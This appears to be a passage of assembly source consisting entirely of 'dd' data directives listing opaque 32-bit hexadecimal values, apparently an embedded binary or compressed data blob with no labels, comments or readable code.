dd 0AD9631A5h, 606634C4h, 5C7A0E00h, 0CE2B4401h, 0B4C08CE9h
dd 16196C30h, 60A90B6Ah, 700EC13Ch, 9A424800h, 0D14B1EBDh
dd 58E00017h, 0A9B68C5h, 8B034F1Dh, 2DD56BAAh, 74CA032h
dd 0AE93A030h, 3E8A375Fh, 0E84673B8h, 0C4F466B1h, 18C09DA6h
dd 0CC72B6A0h, 793F0069h, 47AB6256h, 514CBF16h, 0D8210099h
dd 55EBCA45h, 41050010h, 67F7636Fh, 8E002D59h, 0D5F3C4B7h
dd 94B616h, 4DBB2A35h, 9F86DD19h, 6EF7CF0Fh, 48068072h
dd 37613C6h, 64E0976Ah, 9801FDD7h, 1EBAD91Ah, 0E065A637h
dd 0DE26C0h, 0F79F8CAEh, 573FB2C4h, 2E412700h, 952F4061h
dd 42080078h, 0C3292379h, 1807C28Fh, 0E650D662h, 0A801A555h
dd 0ACDF3D31h, 0E3D44700h, 49B9D000h, 0D90C6A73h, 0CDD4CF5h
dd 0E67E4E00h, 9F52BF28h, 25928913h, 8479F600h, 0E0653659h
dd 0C868009Eh, 96AA88A4h, 0E7001767h, 4FAF723Bh, 7D408B7Ah
dd 3EF915A6h, 0F21EB875h, 0E8958452h, 389480DEh, 541811C0h
dd 1A10DCCAh, 0CC0E184Eh, 0A5CD314Ah, 0DE5A500Bh, 38EC80BBh
dd 0EAB8B78h, 27660889h, 394FA8E0h, 93009D55h, 87971942h
dd 0E6C2D7h, 45B8E338h, 33D8C320h, 9578B00h, 0F521AA27h
dd 0FFCF00F0h, 17947F78h, 96EC3991h, 9AB29C1Eh, 0D7545BC0h
dd 7F2A416Fh, 4F14014Dh, 0FF327CC3h, 0BBDC70B4h, 4339D200h
dd 20A27EFAh, 9B230028h, 6F57F74Eh, 4DE2CFA5h, 0EB366000h
dd 5F9FBBE7h, 0F15D0097h, 0B13DC32Bh, 3F1EE2F8h, 0E14063E6h
dd 6FA97C47h, 24E0E5h, 0FB193A0h, 0F677159Bh, 0BA739700h
dd 6BD86839h, 1C47C2Fh, 75FA455Ch, 68CA0F06h, 1C38052Ch
dd 24805A85h, 7C127Dh, 0AC315FF3h, 0C7D52B93h, 0DCD13700h
dd 4AC209A2h, 242A00B9h, 4CDE695Fh, 5018C08h, 9C9E73C3h
dd 48355229h, 98FAE6D8h, 0A08E589Fh, 66125F01h, 40351D8Bh
dd 0ADD27AD4h, 65D60900h, 0C077B110h, 0BBC5009Eh, 2AC698BCh
dd 0C00754Bh, 112F507h, 0CA0BBEh, 0FC804E8Ah, 8201B95h
dd 0B24B7B0Eh, 20278FC2h, 6884FE5Eh, 2EA50076h, 6DB3CBEAh
dd 0F8C00CA2h, 2E22C9Fh, 782000E0h, 434B6006h, 0BC001293h
dd 15B8FA70h, 3F3B4EC6h, 64827B82h, 0A5EE2EAh, 0F5C1F6E0h
dd 2DE2287Fh, 94CB510Bh, 0DC0200BBh, 793C5FAFh, 13780165h
dd 4C76A524h, 8883E486h, 44A7E900h, 5A74ED34h, 27680B32h
dd 500037FFh, 45041384h, 60C39A00h, 74AA7FC0h, 0BBB30057h
dd 0F554A18Ah, 2F2EC4E5h
dd 0C100B571h, 0EE034AD4h, 85E274h, 6A8A7BE3h, 0C52E5082h
dd 0F802DE00h, 48528920h, 4C3D164Bh, 0D0B01532h, 4F63EB00h
dd 0CD782916h, 92C73524h, 0A4B58700h, 7289A3h, 0B24C7D9Fh
dd 0BF5AE2CCh, 92598500h, 6BA65473h, 145249A3h, 47CAE002h
dd 0C980348Fh, 0C221ADC4h, 405D58h, 0B9074B92h, 0CB3F0Bh
dd 6706547Dh, 0A1A28CDCh, 769A5F00h, 448BCE85h, 494200D0h
dd 0EFE4C145h, 541C034Ch, 0B58A8140h, 47008537h, 58260286h
dd 62400B2h, 0D08EF99h, 0E800E404h, 5FBEFC94h, 0CF7BFD34h
dd 62E0E231h, 4356EE1Dh, 0A9A40F01h, 3FBE1136h, 39E01031h
dd 0C4440017h, 0B08B82B6h, 0E2047388h, 0BB6FFFE5h, 247E6CC0h
dd 0C680054h, 86F95120h, 98A836AEh, 0D012F362h, 0FCC3CC35h
dd 0B043BD3Bh, 984A5574h, 0B7B87Bh, 645482A6h, 0EBA7ACC4h
dd 660EDF00h, 0FA071E2Ch, 49E907CDh, 0B089697Ah, 1C0F8722h
dd 5BCAFE00h, 1F40AC8Dh, 0DE1A2E67h, 0E5123FFCh, 2C2888F6h
dd 38063E00h, 0CC2971Fh, 0F3CCA8E3h, 83BCA8ECh, 0F9BC099Ch
dd 0EE8F14F7h, 0B47FFDE4h, 8024F44h, 6AF60CFBh, 2AC7804Ah
dd 12DA04Ch, 0C4050F9Fh, 0E0A9ECEBh, 0EF01FE65h, 0CA3B6472h
dd 9BFC7980h, 0B50D3D6Eh, 700394Ch, 4024011Dh, 0A400E93Eh
dd 85238310h, 1E38A51Ch, 802D64A2h, 0ED03CDBh, 0A10055EAh
dd 0B57C06E8h, 629E03h, 0D330B98Bh, 452ADAA6h, 1AA77300h
dd 799FBA77h, 11713Bh, 0B160C15Eh, 2C0C0293h, 6CB96514h
dd 6E8B03C6h, 0F17CD25Ah, 0ED52991h, 4D94C0h, 88F3C52Dh
dd 74D4DF7Ah, 8C57CC00h, 0A798513Fh, 5FF00022h, 0A21B4FBDh
dd 0BB7BBAE1h, 508CC100h, 72911813h, 7675B4h, 38CE6ADBh
dd 58EF8A07h, 0F9E89700h, 0FCA1D7CBh, 2C374844h, 645C3B0Fh
dd 0B5E09DCEh, 82B756A8h, 8F03AB90h, 0ACBC2D73h, 24DCF1CDh
dd 465E03F3h, 0F90DEDD9h, 0FB50D4F8h, 132A23Bh, 0FCF63F9Ah
dd 0E8242A97h, 484C257Ah, 0F25F3800h, 8C48325Eh, 780412D0h
dd 5C17F8C0h, 0DA0526AFh, 481284ACh, 1FB480BDh, 580542B8h
dd 0F8296EABh, 68C4FC07h, 0EB2E0A0h, 761B006Bh, 520DF579h
dd 0D14C9D67h, 1C4C0008h, 4717F106h, 0FA1907Fh, 25C24A61h
dd 54408076h, 0F0009799h, 32F5DF0Fh, 4EC859F6h, 1721A868h
dd 780060A6h, 4FDFF9CBh, 874041Ah, 0C0D5C195h, 9A88ECF8h
dd 0E61E59F8h, 600B9C7h, 0DC0C2754h, 0A88500B2h, 1F4BAAB4h
dd 332CAB2Fh, 4A00F822h, 7515BFECh, 8EE670h, 823DCE62h
dd 6A660977h, 3E079EE6h, 23F78195h, 0A52AD4E0h, 9DE30F68h
dd 4A80EF34h, 60E0E10Ch, 458CE700h, 68D4F5EAh, 0DC914CCAh
dd 0F89CAFC0h, 0A0061C0h, 193AB33h, 0C1BF90h, 3DC76E1Ah
dd 280DAAD5h, 64733712h, 0C1C4003Bh, 0B1C46324h, 26F8CC79h
dd 20D0056h, 0A91B2E2Dh, 0F74C8049h, 0F8D10344h, 128D0EB3h
dd 963779h, 6A5A88DCh, 901F202Fh, 5BCF4A9Dh, 9F758057h
dd 265031h, 3CE98C36h, 91428064h, 6916C4B0h, 601D8F2Bh
dd 5DEF8E80h, 28481098h, 0FAE0BC5Ch, 0C46500E2h, 14CBD037h
dd 1703558Dh, 2631614Ah, 481F983Dh, 0DB13015Fh, 0F41D5810h
dd 0B9C9E84Ch, 0F204B700h, 0D672157Fh, 0E05F7E9Eh, 50EF0C8Fh
dd 0A0C67BCFh, 0F3004BF4h, 0F95EF845h, 211DE8h, 1203C67Eh
dd 11C3082Ah, 0CA016EB0h, 9BE0D7ADh, 589C1339h, 80C252DCh
dd 41B520Ch, 42DD1700h, 0ECD447C7h, 0AEB30138h, 0AF73CBDAh
dd 0D95C21B2h, 0D550D47Fh, 9A111400h, 6D2B2C08h, 733C3FD1h
dd 180EF103h, 93F98250h, 6647CCEDh, 67ECB800h, 3E9D8526h
dd 5C520055h, 0BB2C646Ch, 10983D45h, 3AF081F9h, 0C947CD7Bh
dd 0C551E0DBh, 0A8D14863h, 80189937h, 6B35EC58h, 0BC200763h
dd 4401A0BBh, 265D792Bh, 8038FAFCh, 0C97D5561h, 61DF21BAh
dd 843FEAC3h, 231C6DEh, 921C426Bh, 84A13A1Bh, 8136FCB8h
dd 59C2CB31h, 0F7608EB2h, 0FB64156Fh, 0B73010BAh, 46A57B38h
dd 35E4C900h, 5FD34FFFh, 0C25B02C3h, 79541B8Bh, 0BB405140h
dd 873B513Fh, 0FC0FD69Bh, 0A0CBE953h, 4B8C474h, 80665D25h
dd 0F65E8027h, 56B09F94h, 0C6EAA500h, 9671AE6h, 59F40013h
dd 0F5B8578Ch, 0DD01E15Ch, 0DC38867Ch, 0BFD4DE90h, 11EB0009h
dd 63C150C2h, 9CF65A59h, 79C53EC0h, 0B8AE90h, 0DFC2F882h
dd 0C0D21A8Dh, 760037EAh, 97539F6Dh, 3136FBh, 8A91A458h
dd 0B373AF44h, 95CF6607h, 6070CECDh, 0B498DAh, 0C753F4D1h
dd 5C741072h, 0FD00BBEEh, 0A751A979h, 0FD29A1Bh, 782F3DDCh
dd 49546920h, 6B028CB5h, 0FC73E4A5h, 11BCA089h, 7B675997h
dd 97907EBh, 0A38E07B7h, 0C7AB8652h, 0D7D472F8h, 0D0211F3Fh
dd 13009BC0h, 0F416E1BBh, 0FFC295h, 0CF56C80Ah, 50D20E82h
dd 11F37101h, 0A1BC49B1h, 0E46E689Dh, 0A9974010h, 5417D307h
dd 0B500152Eh, 0BDA82264h, 747E3B6Eh, 8BAD2780h, 7626E6C8h
dd 0F2009E74h, 700B6FCEh, 0FABC9Ah, 0C02F5A8Ch, 8AB150F1h
dd 987ED03h, 0B3437857h, 0AB500EA1h, 0B1402D59h, 0E10282FFh
dd 30DB0A00h, 3C1BEC64h, 0B43524C2h, 465C002Ch, 0E0BD2662h
dd 72AD5201h, 0B17D85DDh, 0B926074h, 2FF92724h, 23423020h
dd 0F70B56C4h, 8054B622h, 570AD2ADh, 1FAB00F2h, 0F9129E18h
dd 3501CF43h, 99A198D3h, 8CDCA441h, 0B45803A7h, 0CA6FB7AFh
dd 3902CEC8h, 7700ACECh, 0BDF49C51h, 0B0B61A07h, 63048D3Dh
dd 4829964Eh, 0CEC3044Fh, 6C3BE109h, 0A6EAAE00h, 1AA3F22h
dd 0A55EC452h, 0D0511A12h, 39CC957Ah, 61BB08A0h, 0A2BE38D6h
dd 182056F5h, 0C3E8DD00h, 7B905C97h, 99A4669Bh, 50CA09A6h
dd 0DC0A18A9h, 34204C09h, 0C0C79D0h, 3907C374h, 10C1D892h
dd 0FC2934D1h, 10A25019h, 0FA6053F9h, 4102968h, 0C1C009C7h
dd 66255EA0h, 0C9C68964h, 0F809EC65h, 157A2030h, 1670CE4Eh
dd 148A0C94h, 0D0193E14h, 8ACF997Bh, 24FD3D20h, 501C114Dh
dd 4D60E25h, 1FFF766Ch, 0C7ADC5FBh, 60EC32A8h, 0DB989200h
dd 0D094F8C9h, 0BB9FC08h, 627FEB04h, 0B10D112Ah, 0FBCCB490h
dd 0B9F9900Eh, 7154C7E7h, 4927016Eh, 80109579h, 18047D76h
dd 944BB935h, 56203847h, 0DE6338BFh, 4848B151h, 0D8187171h
dd 22254826h, 69C5B400h, 1CD09F3Dh, 0A7BD0C3Fh, 17600A08h
dd 0DAA25D06h, 0B010F6A3h, 2A3E000Eh, 7B0818B6h, 69C19770h
dd 673DB45Fh, 57EF4883h, 2CA8CD8Bh, 271F6C66h, 28DC09A3h
dd 8E03F700h, 4898BB9h, 0ECD160FBh, 0A8E09693h, 94E51E0Ch
dd 3C4F0897h, 62065BB3h, 0C150B19Ch, 0F6E148C6h, 9940008h
dd 1D9EB9DFh, 2B5CB76Eh, 2AEA6341h, 1C90F83Ch, 6F78ECh
dd 9607A21Dh, 0E65302A6h, 0E9A0EB0Dh, 55F0D97Ah, 0CEAD2AAFh
dd 42580CB0h, 9EE82EC3h, 0DB01B100h, 9AB37DECh, 0B789C03Ch
dd 4DAE240Dh, 12B69407h, 0A7E0082Dh, 1E714C20h, 11AB94Bh
dd 80D6B722h, 2078EF49h, 12878301h, 0F6CE0C27h, 0BBC0D7D3h
dd 371CA0h, 50389D2h, 6AC4871h, 769930C1h, 8802511h, 0DF662E8Ch
dd 0B7FC2330h, 320B61Fh, 0EF0052DEh, 55DE56AFh, 212E6098h
dd 4C02DDEEh, 804FD9EBh, 360664A1h, 0E81F1BCCh, 7BB33EFh
dd 89D81068h, 403A50Ah, 0DEDFE13Eh, 4F502064h, 424C0300h
dd 52802CAh, 100C60CCh, 0A35839DCh, 0D191CB03h, 0CFDA4F8h
dd 1BD5EFB8h, 0E1070C58h, 40DD3825h, 730324A3h, 65690070h
dd 508F527Ch
dd 0FD1C70DFh, 0D8801BB6h, 2010554h, 0D0071F36h, 0A9FBABCh
dd 85FBCFD2h, 0D9202600h, 84704A9Bh, 0B810E47Fh, 0D0AE997h
dd 1A45FE2h, 19715193h, 0ADDC821h, 84036690h, 4CDC77B8h
dd 0BC4AC00Ch, 34E70E85h, 1BC0CB42h, 8DFEDE37h, 67081202h
dd 83EC9D53h, 32BB8A0h, 0D2DF4FB9h, 1028276Fh, 29209063h
dd 0C87142Dh, 0B7189422h, 9CA2317Ah, 0D13B1905h, 88115E6Eh
dd 0BC8A17D8h, 0EE0AB61Dh, 40508C8Eh, 70E98164h, 8CA18373h
dd 0E2A850EEh, 81DFAB6Ah, 5212A09Dh, 123D180Fh, 55D33071h
dd 158829A2h, 4CFE4304h, 552A0620h, 0DB676046h, 74844F1h
dd 108608D1h, 0FE49AA53h, 9BF4D300h, 1B8277D8h, 6740CC12h
dd 0BE38DFD9h, 6291038Ah, 3018A0ECh, 0FD291A91h, 0A680232Ch
dd 4941308Ah, 0B6378739h, 3B788890h, 8A6758A8h, 4B1F9E74h
dd 482A68B8h, 0D20C620Ah, 4928F05Ch, 0E690E23Dh, 0EC80D758h
dd 0B020D827h, 6331E019h, 0CFDB60F5h, 36C0B821h, 4F18028Eh
dd 0C4CDDFD9h, 2E9D94A0h, 0A92A4ABCh, 0DC028045h, 497E5A9Bh
dd 30B09840h, 0D2828124h, 181A880Ch, 0A9B61E6Dh, 4300D9B0h
dd 0DD4F88B5h, 774E6A6h, 980A3735h, 5B76A1D0h, 6E38206Ah
dd 9FC0F554h, 5F107565h, 77DA8C21h, 4C2E8420h, 65802031h
dd 0D9C88C8Dh, 98126A2Ah, 0FD88FE07h, 1A80384Dh, 890516h
dd 2E5A194Fh, 4B8C126Fh, 0CC7748h, 853892FBh, 3B96A4FFh
dd 0ED782A9Fh, 62E503E0h, 20ABC6AEh, 2DA500E0h, 0FCC2F200h
dd 68DA5C87h, 1FF1009Ch, 78A90CB4h, 92018E62h, 8B61F65Fh
dd 51D024B0h, 0BFAD0087h, 6A255533h, 60030E6h, 0FEA9FBE4h
dd 1215C47h, 40ACBE2h, 8D32672Bh, 20E63B08h, 1A21DE80h
dd 7B59BAC4h, 893A6400h, 68ADEAA6h, 86321E79h, 0B5BEC05Eh
dd 7B01C62h, 0E7FE2701h, 4DBA80Dh, 1B0069BCh, 0B1886E95h
dd 0E80EC67Dh, 86BFAF66h, 20A822h, 0DD6B3D34h, 0FCAD929Fh
dd 9438FA62h, 5AA18374h, 0FB491FF7h, 1E77013Bh, 0E0E80361h
dd 0A577DC49h, 48E68706h, 0EC09E4F5h, 0E920C004h, 9EEDA5EEh
dd 80B20900h, 39BDADF7h, 6B8400E4h, 0FA49A4DBh, 333F8840h
dd 2F76812Dh, 190CA1E8h, 0A53FC1D7h, 8534B8DBh, 70FF00FCh
dd 5E1F17E5h, 8A00BCB0h, 0D67B5894h, 19F52Fh, 0F9A256E1h
dd 0DC368343h, 3F15FC00h, 3576DF97h, 3A3C0059h, 5E0AEDFFh
dd 0BB0026AFh, 0F8A16193h, 0F2E29D9h, 305A7428h, 0B65721C0h
dd 5974F2FAh, 0DE817700h, 0D6E531F9h, 601E07CAh, 808575EAh
dd 0AE158FEh, 0D51AA901h, 0BB23215Dh, 930923EBh, 0C8BDE05Dh
dd 0D687280Fh, 0B410EA01h, 5E8F2782h, 0C9571880h, 0BB5392F8h
dd 0C11A6400h, 2FDF5528h, 26610004h, 0DE4A7233h, 0F66418C0h
dd 0F520E029h, 0F78003E1h, 0CC4F8873h, 0BB4E8104h, 0BA4229ECh
dd 8B050108h, 6F802803h, 282811EBh, 0D669081Bh, 82AF1007h
dd 5E60D90h, 0B0280FF4h, 943A1D9h, 299011F1h, 0D2599CF0h
dd 7708C751h, 107E9520h, 3BCC14FCh, 9B8170C8h, 88ED8B08h
dd 1C3829h, 714D0DCDh, 0FC0035C1h, 4B9C4A08h, 1F6F917h
dd 588A37BBh, 0E88869E7h, 8C0EBE26h, 600A4522h, 556A3840h
dd 0A24C00E0h, 0C12B3088h, 7E00A0C0h, 3DFF5671h, 0E450F73h
dd 9979B4B8h, 23630D40h, 0AF0003FDh, 0F6D9979Eh, 0E6BF7D7h
dd 0E3150AE4h, 78BF1CE1h, 3CB6C04Ah, 431E4000h, 29EE5666h
dd 175400F3h, 0D30E2576h, 0F8A02318h, 7F007365h, 7A090896h
dd 0FBB3CE5h, 0FC5619C5h, 5ACC2960h, 3A034EDDh, 1AFB3F71h
dd 0A033E043h, 7C01000Eh, 4F7690CBh, 3EFA3174h, 0D8FC5B00h
dd 0A21B22D6h, 2D59892h, 0B10BD799h, 0A180FF8Dh, 0B9D5AFBDh
dd 0E385DB0Eh, 63972094h, 12FF506Fh, 0A8B7F9Ch, 80AA50h
dd 8A1BEF5Eh, 0B00514Ah, 0D018F85Bh, 0CCFC98h, 8563D6FAh
dd 143169A5h, 7AD8E101h, 581D4E08h, 0D0172180h, 28801B51h
dd 0A49839h, 5DF30D47h, 59C866h, 87EB03D7h, 0FCE00A6Ah
dd 3486451Ch, 3D58F740h, 2C7D04h, 0BC7B6792h, 6EF3F64Bh
dd 207C073h, 0A029BDF2h, 8F42E8B0h, 92CF0081h, 88AA34CEh
dd 190023ACh, 6394D47Bh, 1CA62129h, 403562F8h, 172DB379h
dd 0BC0910ABh, 77A99B05h, 0FCC4681h, 0B125F4EFh, 47EA4207h
dd 0E8C0E2AFh, 3F2B8574h, 96001421h, 9C1F2AA4h, 0C004EA5Fh
dd 0DA5B80E2h, 0F9934980h, 6D6C005Ch, 0F57C1F13h, 1C0E32ADh
dd 80D0B201h, 0E06BC40Fh, 7AA478DEh, 0F0BE5F2Dh, 0D91C7309h
dd 4A808579h, 28A24615h, 63DD008Dh, 6AC35CECh, 8800DB75h
dd 4D87BC57h, 32A2DAh, 0CB5667FDh, 1EE09017h, 794C8C00h
dd 5B237C3Ch, 0C3373987h, 32D713h, 0A2D25E38h, 86014B83h
dd 0E9775159h, 0B6801AD4h, 6CEC6D23h, 0BE0F767Eh, 604D1F1Bh
dd 4AA2CF5Bh, 0ADB21EDCh, 67F806Dh, 3703C80Ah, 1945400h
dd 0F6F34F57h, 120B00BAh, 3B6C8A5Bh, 0FEF68D56h, 76B6E800h
dd 0FBAA835Fh, 0D32900DDh, 778F0F84h, 52004C32h, 0E4CC2E33h
dd 0EC28159Eh, 793E0044h, 39D384F1h, 400060A8h, 786C5466h
dd 0E9BEFBh, 7D3868F9h, 2D8C27BFh, 0E0676B34h, 0CD52B300h
dd 7E1D4Fh, 957BF134h, 170BF4FDh, 469EF600h, 428A31C2h
dd 78FC00D7h, 5B60CECh, 0ECA81628h, 931DE3C2h, 300007E0h
dd 0D7CD734Fh, 0BEB000E7h, 14391D02h, 77009883h, 816C03C9h
dd 0F68870h, 0ED32D307h, 0C3443AB0h, 8AA8F100h, 0C7718FC6h
dd 0F4F30FBEh, 5E4E51F7h, 0FACBEE61h, 1CC2C0ADh, 66F3400h
dd 455A3D17h, 912802D8h, 6E4AA1AAh, 30AB0843h, 3CF80EEBh
dd 0E70F0DB7h, 0DC2FB3E0h, 0EE4128C0h, 9B98A0h, 0EC3317E6h
dd 42446B2Eh, 6245EB00h, 0B5D55637h, 4C983805h, 0B8F67880h
dd 55B0BBA4h, 8FFCAF03h, 0E0208C0Eh, 96DFD3h, 372F712Ah
dd 0C38A629Dh, 8097BF39h, 0F12990B6h, 53CFB2h, 3FA063EAh
dd 0E9DDA22Eh, 228F7200h, 3EAF0E8Dh, 0BA1C00F7h, 533DF5C4h
dd 6400E17Bh, 28377C46h, 195EF61h, 0ED4C7E15h, 207B76ABh
dd 0DD004BB8h, 0A067205Fh, 0ECC269Eh, 0C6E29FACh, 6081BB27h
dd 1E6E8C13h, 0BE9E9700h, 552AB7F1h, 793001Dh, 0C90B567Fh
dd 5C98101Fh, 1ED04950h, 8DF73600h, 0FBEC0D3h, 0EA7B3EBDh
dd 191F2802h, 89895950h, 0C72AB400h, 0D60EE1F0h, 0E0884AE6h
dd 0C0BE9165h, 7F5B55h, 49C3B91Dh, 50BCC48h, 1CAB0h, 0B4B597DBh
dd 0CE607C4h, 0D011B7FDh, 57A465Dh, 0A004FECh, 435F4948h
dd 3BBB2792h, 0DCC89771h, 0C83BB14Eh, 0CF00F45Eh, 4638A1D8h
dd 1EA5F98Bh, 59E50141h, 0DCE9619Ah, 0F1738439h, 0FE0E6407h
dd 8191C689h, 8A6007E8h, 0AD5E004Dh, 8AE3D955h, 5300F587h
dd 46F11992h, 0EE7508F0h, 1B020269h, 9E254534h, 91C7F460h
dd 7BC04600h, 9DD181E2h, 2B29006Bh, 974E22BDh, 0EE0010DDh
dd 0E183F6BEh, 1E7A395Bh, 8455C633h, 80711752h, 5690A4B4h
dd 25FD3101h, 0B20A1AE8h, 9935A0D0h, 5F930078h, 4EB629D6h
dd 2C80E100h, 9C06EB6Dh, 0F1210BD7h, 0DC00F8B8h, 0CB09371h
dd 0EE73B20Eh, 8CC03F2Bh, 4715802Eh, 0BDD400AEh, 56E65EDDh
dd 4201CA7Bh, 855177E0h, 0CCDC0D1Ah, 5FD4005Ch, 0F06E9E1h
dd 3D02AE7Eh, 34E3F9FCh, 0A0888EB8h, 7CDDCFA5h, 0AF3800E1h
dd 81E4060Bh, 0EC03B454h, 0DB874786h, 0D94DE865h, 0FBC30019h
dd 6CC20EE0h, 452C9D18h, 3800F4ECh, 0BB251BC6h, 0F0A40083h
dd 4B908033h
dd 24003DA0h, 79716AE1h, 703E01h, 43F47721h, 52C83F95h
dd 0D3574F00h, 0CC3AA62Eh, 0E89D00AAh, 0FF2D0359h, 0B300DE8Fh
dd 647D9B41h, 3D4D30CEh, 0D6804FB9h, 0B865BAB2h, 0CC009F63h
dd 0D97126D2h, 192B33Dh, 2B3E8D6Ah, 0CD8CDA7Eh, 0FB25D499h
dd 3359D600h, 0C1DB6342h, 0E67F4CF5h, 9B6F3B7Ch, 0CB996080h
dd 4C1EA220h, 0F25D7A05h, 0E08085AAh, 7D43A9h, 0D4A5C5C7h
dd 21C1CC32h, 0D2E53900h, 0D86AD7BCh, 7AD03DEDh, 0EF8CCE80h
dd 0A02A1E5Fh, 0F2A6DA00h, 0DC038638h, 8ECD006Fh, 27C6773Eh
dd 0D007256h, 0ABADEA85h, 0F9DDF0h, 8FCB15C2h, 0AA713640h
dd 954F5Ch, 0C6C39BF6h, 0F84438h, 86BFCDE6h, 499C16AFh
dd 5792E500h, 7FDF3A69h, 91DA00CBh, 0CEDBF8AEh, 0C23D162Eh
dd 8D8650F3h, 2C04B000h, 0EB81A342h, 6ABB0EEEh, 0BF60AD92h
dd 748B6359h, 7500B9F8h, 0F94B7DCh, 0E0A4A1Ch, 3AEA4302h
dd 0BBE059A0h, 0E73EBFC2h, 621E008Ch, 0E9DA4B76h, 730800D3h
dd 392F3E37h, 5900225Ah, 386D9575h, 1D83AE30h, 0C35FF57Fh
dd 0D53A5526h, 50F88EC3h, 0F600B527h, 0D39DA2F4h, 0A73635h
dd 28D79141h, 22A8C43Fh, 4595D200h, 6AFC9659h, 0EF4D0050h
dd 0FBE0A511h, 0B63D9C99h, 0C4B00026h, 623A72C7h, 850E1C69h
dd 0BA95C0F1h, 497F1B91h, 0ACFB6100h, 6930518h, 0E970F10h
dd 0C380AB89h, 0A3AD79A7h, 0F66A2F09h, 42080038h, 19EC70h
dd 0B844DAE2h, 0F11BBA9h, 6E041A07h, 0EBB097DEh, 122CA141h
dd 0E472D8h, 0AB458D4Bh, 0FA00B9C7h, 116043DEh, 7201399h
dd 0C701B09h, 9A5E10EDh, 33D176Ch, 0F0DA3095h, 7860FEACh
dd 8CA900E2h, 54384084h, 0DA005A7Fh, 3185BD67h, 9BA1BDBh
dd 529B16A3h, 0CA3C0883h, 4BE0F4FAh, 5E587C2Ch, 0C2120039h
dd 0C5D632B8h, 6E180716h, 20461B4Ch, 8A2D4E75h, 7104FA03h
dd 0F8A5F6E4h, 9DC325h, 30C5CD7Ah, 0F377EF15h, 0C900D7F4h
dd 0B3E8D18Fh, 0F4C4A14h, 0A3F1DFFDh, 0D067CE47h, 9D399D7h
dd 53C8FF00h, 68797B93h, 2A5D3882h, 0F9443014h, 0EF2E0600h
dd 0F120C205h, 4194FC01h, 192A84C7h, 0E670BECh, 2CEEFD7Fh
dd 0A6989AC0h, 8CA992BAh, 8E48001Bh, 0B22F0503h, 85A30Ah
dd 0EF4C30BAh, 533A35C9h, 0CDA4803Ch, 8B99A949h, 0EA27075Fh
dd 200F20DFh, 6778CA0Eh, 0D83B500Eh, 7BFCA0C5h, 650652h
dd 2C56921Fh, 0F82AC7D6h, 0B9B77F00h, 2EBBD11Ah, 67CD07BCh
dd 3076C663h, 0D0463C90h, 0A4340D1Eh, 135EC380h, 3BCE260Eh
dd 0ED006ADCh, 82221C03h, 12006C85h, 4050DE08h, 7332CC9h
dd 45F02884h, 40E6B66h, 9E819FA0h, 2224E62Ah, 0CE014E2Dh
dd 647CE5CCh, 7AC63AD8h, 6B12C0F6h, 1FDF5822h, 7D79EE00h
dd 1D19A008h, 3F4000F8h, 0BF53C2B4h, 0FC00BAC9h, 3BC5AD46h
dd 0E1E9322h, 0BE75C09Ch, 73549123h, 430BF698h, 0A9ECB700h
dd 20C8B30Dh, 0F9520003h, 120972AEh, 0A2003C65h, 0CF7A2DE7h
dd 56B8B2Ah, 66FCB024h, 0D3FBC0F7h, 7B90D1AFh, 0BF473400h
dd 0B54C01E1h, 0F8A60062h, 0F2B5A3Ch, 0FFE0A9ABh, 0C30722F4h
dd 0E9289C86h, 413E8B77h, 0D9472415h, 0F2AF440h, 73C301FAh
dd 0AA31BEB5h, 5390606Bh, 0DDC94600h, 57DA14A9h, 7E8C980Ch
dd 5A6500B9h, 735C2494h, 0D6003D4Fh, 70E0FFFAh, 5E3016h
dd 0EC82EAFh, 5808AEA7h, 74787878h, 4EFF0713h, 216E9300h
dd 9B5598h, 7E96DA89h, 0B4A8CA95h, 40166724h, 0A644BC00h
dd 0F0795EDBh, 7BD602F7h, 0BE424813h, 0B5FA2440h, 0A8F5358h
dd 0E42885F4h, 0C1DF1182h, 266820E0h, 0E300FEC9h, 13D1E19Ah
dd 0F08BFADh, 9954D71Fh, 5075BC40h, 9A013DB2h, 0DAB03904h
dd 97F4055Dh, 0D3663A59h, 61C0DB80h, 70FAB2D9h, 0F0CE1704h
dd 37F003C6h, 64920041h, 945E5AACh, 0AF008723h, 0AAFA936Bh
dd 7268108Eh, 0BF19831h, 0CFF27EB0h, 85E4EE83h, 7DEB2809h
dd 0CA030467h, 0E7A69F80h, 42E5050Fh, 13871660h, 21F107D0h
dd 70F14091h, 9070D1Ch, 0E3FA29D5h, 0F81B7BC1h, 7B63FF0h
dd 9944F147h, 8E005F0Fh, 2220AD1Ah, 0EFF8A11Ch, 66983980h
dd 0C80027Ch, 0CA40B114h, 61003E38h, 0E157F46Ah, 7770ECh
dd 391D2C12h, 42D4D7Ch, 0EFCE3F00h, 0A6E230C3h, 6CC0050h
dd 25ED4947h, 77005CD3h, 0DD79A837h, 514A40h, 0BA568D80h
dd 9E0820ABh, 0F91224B2h, 0BE018871h, 0EEE73313h, 0C7C6E8h
dd 77C96E25h, 0F4B483ADh, 31307000h, 0F7E78BA4h, 91BD009Dh
dd 1D537B19h, 6200D1EAh, 25120D3Eh, 727CC7FAh, 0A9CD00B3h
dd 1BB6336Bh, 0CC629DF2h, 0C0DFC910h, 0C0CA750Bh, 6D496FC0h
dd 6907E3E6h, 5D483889h, 0E21DE85Ah, 1C7F6280h, 111521h
dd 758A055Ch, 0D761263Ch, 80C08F00h, 0E07C2579h, 1F997C9Dh
dd 892B81CAh, 0A8803D76h, 91F5E209h, 0BA3258h, 35A7D89Dh
dd 0C93C3F0h, 76BCAAE9h, 0DD027228h, 0D79ED2D1h, 53B84130h
dd 65C7D8DBh, 644B004Dh, 0B7C0DC10h, 422CA138h, 0D0346A6Ah
dd 89CB41C0h, 453B0FC7h, 0B740362Eh, 0A1758015h, 5C02D577h
dd 16311D8h, 0BDC660DEh, 148C00A4h, 35C81D43h, 30F7F422h
dd 7E1DEC78h, 80805A8Fh, 4589EB2h, 402A0207h, 17DAEE18h
dd 11842C40h, 0A8DFDE3Ch, 0AB74B837h, 2C4CDB48h, 41509C35h
dd 0DA223F5Eh, 0CF2C1C01h, 0D8635267h, 0F907ED99h, 2E9FDBDEh
dd 836E27E0h, 23EF0E12h, 4B606174h, 0E019722Fh, 39BF5712h
dd 0D6C77C40h, 7BB01D8Ch, 15A60FA4h, 0E78024B7h, 638E2576h
dd 1E263CFAh, 811E6CA9h, 13447843h, 0D5F4E98Dh, 3017F8DCh
dd 1F40A9A3h, 0E3263688h, 57079A6Bh, 687C15FBh, 0B4C300F7h
dd 0A6AED862h, 0DBF060A1h, 6CE24800h, 0FADD7749h, 2A54260Fh
dd 0D7FC007Ah, 7DAC893Fh, 0EFFAE4FAh, 5E356304h, 0A0C8D28Dh
